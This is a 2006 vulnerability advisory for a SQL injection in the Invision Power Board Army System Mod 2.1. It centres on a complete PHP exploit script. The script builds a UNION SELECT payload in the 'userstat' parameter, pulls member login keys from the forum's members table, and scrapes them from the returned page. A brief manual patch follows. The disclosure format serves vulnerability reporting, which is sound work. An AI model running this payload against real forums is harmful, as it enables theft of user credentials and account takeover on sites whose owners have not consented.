Invision Power Board Army System Mod <= 2.1 SQL Injection Exploit

VULNERABLE PRODUCT
-----------------------------------
Invision Power Board Army System Mod
Version: 2.1 and priors.
Url: http://supersmashbrothers.2ya.com
Vulnerability: Remote SQL Injection
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BACKGROUND
----------------------------
Army System v2.1 is a very popular mods that has a ranking system built-in.
This multiple player rpg can easily be installed on every Invision Power Board v2.x.x
Source: "http://mods.invisionize.com/db/index.php/f/3347"
Google: "Army System 2.1 by supersmashbrothers"

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Requirements Minimum: Invision Board: 2.0.0 Final PHP: 4.1.0
Recommended Invision Board: 2.0.1 PHP: 4.3.0 or better SQL
Any sql will work fine as long as you have the driver.
Minimum MySQL: 3.23
Recommended MySQL: 3.23 or better
Recommended for Larger sites: No memory limit and no safe mode for faster loading
********************************************************************


VULNERABILITY
-------------------------------
Army System is prone to a SQL injection vulnerability. This issue is due to a failure 
in the application to properly sanitize user-supplied input passed to the "userstat" parameter 
is not correctly sanitised before being used in a SQL query. A specially crafted URL could 
result in a compromise of the application, disclosure or modification of data, or may permit 
an attacker to exploit vulnerabilities in the underlying database implementation.


EXPLOIT
----------------

<?php
/* --------------------------- EXPLOIT ---------------------------
Invision Power Board Army System Mod 2.1 SQL Injection Exploit
Tested on: Latest version (2.1.0)
Discovered on: 06.02.2006 by Alex & fRoGGz
Credits to: SecuBox Labs

PLEASE READ THIS !
The query of the SQL Injection depends about the number of fields in the sql table
We have successfully tested the exploit on a new fresh IPB 2.1.x with Army 
System Mod 2.1 installed

IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE 
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

$target = "http://site.com/forums/"; // <--- Where ?
$prefix = "ibf_"; // <--- SQL prefix ?
$id = 1; // <--- Who ?

print_r(get_infos($target,$prefix,$id));
if(!get_infos($target,$prefix,$id)) echo "failed";

function get_infos($target,$prefix,$id) {

    $inject = "index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,";
    $inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,";
    $inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,NULL,NULL,";
    $inject.= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,";
    $inject.= "NULL+FROM+".$prefix."members+WHERE+id=";

    $filename = $target . $inject . $id;

    $handle = fopen ($filename, "r");
        $infos = array();

        if (feof($handle)) { continue 2; }
        if ( $handle ) {
                while ( ($buffer = fgets( $handle )) )
                {
                        if ( strpos( $buffer, "<td class='pformleft' width=\"35%\">Name</td>") ) {
                                $infos['md5'] = strip_tags ( fgets( $handle) );
                break;
                        }
                }
        }

    fclose ($handle);

        if (count($infos) == 1) return $infos;
        return false;
}
?>



VENDOR STATUS
---------------------------
There is no solution at the time.
Edit the source code manually to solve this problem & many others !


// You could temporary fix the problem:
// Find sources/action_public/army.php (line 486:$id2 = $this->ipsclass->input['ID'];
// After the line put:
$id2 = ereg_replace('([^0-9])','',$id2);
$id2 = (int)$id2;
-----------------------------------------------------------------------------


CREDiTS
------------------------------
SecuBox Labs - fRoGGz & Alex
Greet's fly out to: Mark aka MT
Visit: http://secubox.shadock.net
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